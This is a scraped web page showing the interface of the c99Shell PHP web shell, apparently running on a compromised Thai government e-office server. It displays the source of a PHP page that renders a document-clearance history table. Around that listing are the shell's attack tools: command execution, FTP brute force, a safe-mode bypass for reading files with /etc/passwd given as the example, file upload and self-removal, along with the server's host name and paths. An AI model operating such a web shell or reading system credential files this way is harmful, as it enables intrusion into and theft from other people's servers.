!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showClearDocHisTable.php (2.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"funct.php";
 include_once 
"../class/clsPerson.php";
 include_once 
"../link/keyThai.php";
 include_once 
"getPrefix.php";
 include_once 
"../class/clsClearDocEntry.php";


$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oPS = new person($oC);
$oPS2 = new person($oC);
$oCde = new ClearDocEntry($oC);

$oPS->SearchByKey($personId); $oPS->GetRecord(); 

?>
<html>
<head>
<title>ประวัติิการเคลียร์สถานะหนังสือ</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body><br>
<font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"> &nbsp;<strong><img src="../picture/file_find.gif" title="ประวัติการเคลียร์หนังสือ"  border="0">&nbsp;ประวัติการเคลียร์สถานะหนังสือ </strong> :: <? echo GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?>
</font><br><br>

 <table border="0" align="center" width="95%">
       <tr><td align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" width="10%"><strong>ลำดับ</strong></font></td>
      <td align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"  width="20%"><strong>วันที่เคลียร์สถานะ</strong></font></td>
      <td align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" width="30%"><strong>เคลียร์สถานะโดย</strong></font></td>
      <td align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" width="35%"><strong>เอกสารอ้างอิง<br>(ที่หนังสือ, ลงวันที่)</strong></font></td>
      </tr>
      <? $i=0;
         
$oCde->SearchByPersonIdDoc($personId);
         while(
$oCde->GetRecord()){
                    
$oPS2->SearchByKey($oCde->personIdClear); $oPS2->GetRecord(); 
                    if((
$i%2) == 0
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22 align=\"left\">";
      
?>
            <td align=center><? echo ($i+1);?></td><td align=center><? list($DocD,$DocT) = preg_split('[ ]',$oCde->ClearDate); echo abbreDate2($DocD,'/')."<br>".a2th($DocT);?></td>
            <td align=left>&nbsp;<? if($oCde->personIdClear==1){ echo "ผู้รับผิดชอบระบบ"; }else{ ?><? echo GetPrefix($oPS2->prefixId).$oPS2->fName."&nbsp;".$oPS2->lName; }?></td >
            <td align=left>&nbsp;<? echo $oCde->DocRefClearDoc;?></td >
            </tr>
      <?
         $i
++; }
            if(
$i==0){
      
?>
            <tr><td align=center colspan=4>** ไม่พบข้อมูลการเคลียร์สถานะหนังสือ **</td></tr>
      <? }?>
    <tr>
        <td align="center" colspan="4" bgcolor="#FFFFFF" height="22"><br><a href="#" onClick="window.close()"><font size="1" face="Microsoft Sans Serif">[ปิดหน้าต่าง]</font></a></td>
    </tr>      
      </table> 
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]--